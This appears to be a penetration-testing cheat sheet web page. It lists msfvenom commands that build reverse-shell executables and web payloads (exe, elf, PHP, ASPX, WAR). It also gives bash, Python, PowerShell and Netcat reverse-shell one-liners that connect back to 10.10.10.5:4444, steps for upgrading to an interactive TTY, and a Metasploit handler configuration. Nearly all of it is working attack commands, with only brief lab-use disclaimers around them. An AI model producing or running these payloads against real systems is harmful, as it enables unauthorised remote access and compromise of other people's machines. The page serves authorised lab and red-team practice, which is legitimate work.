On this page 5 sections
  1. MSFvenom Binary & Web Payload Cheat Sheet
  2. Reverse Shell One-Liners
  3. Full Interactive TTY Shell Upgrade
  4. Operational Checklist
  5. Authorised Use
Lab use only. Apply these techniques only to systems you own or have explicit permission to test.
01

MSFvenom Binary & Web Payload Cheat Sheet

Generate staged and unstaged reverse shells for Windows, Linux and common web application environments. Replace LHOST and LPORT with the listener address and port for your authorised laboratory.

Windows x64 Reverse TCP Executable — Unstaged
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exe
Windows x64 Meterpreter Reverse TCP Executable — Staged
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o meterpreter.exe
Linux x64 ELF Reverse Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf
PHP Reverse Shell Payload
msfvenom -p php/reverse_php LHOST=10.10.10.5 LPORT=4444 -f raw -o shell.php
ASPX Reverse Shell Payload — IIS
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f aspx -o shell.aspx
Tomcat WAR Archive Payload
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f war -o shell.war
02

Reverse Shell One-Liners

The -e option is not available in every Netcat implementation. Check the installed version when this command is rejected.

Start a Netcat Listener
nc -lvnp 4444
Bash Reverse Shell
bash -i >& /dev/tcp/10.10.10.5/4444 0>&1
Python 3 Reverse Shell
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
PowerShell Reverse Shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Netcat Reverse Shell with `-e`
nc -e /bin/bash 10.10.10.5 4444
03

Full Interactive TTY Shell Upgrade

Press Enter after bringing the session back to the foreground if the prompt does not immediately appear.

Step 1 — Spawn a PTY with Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
Step 2 — Background the Current Session
Press CTRL+Z
Step 3 — Configure the Local Terminal and Return to the Session
stty raw -echo; fg
Step 4 — Configure the Remote Terminal Environment
reset
export TERM=xterm-256color
export SHELL=bash
stty rows 38 columns 116
04

Operational Checklist

Confirm the payload architecture, operating system and handler configuration before execution. The payload name, listener payload, LHOST and LPORT must be compatible.

Example Meterpreter Handler
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
run
05

Authorised Use

Educational reference for controlled laboratories and authorised systems only. Payload generation and reverse-shell testing must not be performed against systems without explicit permission.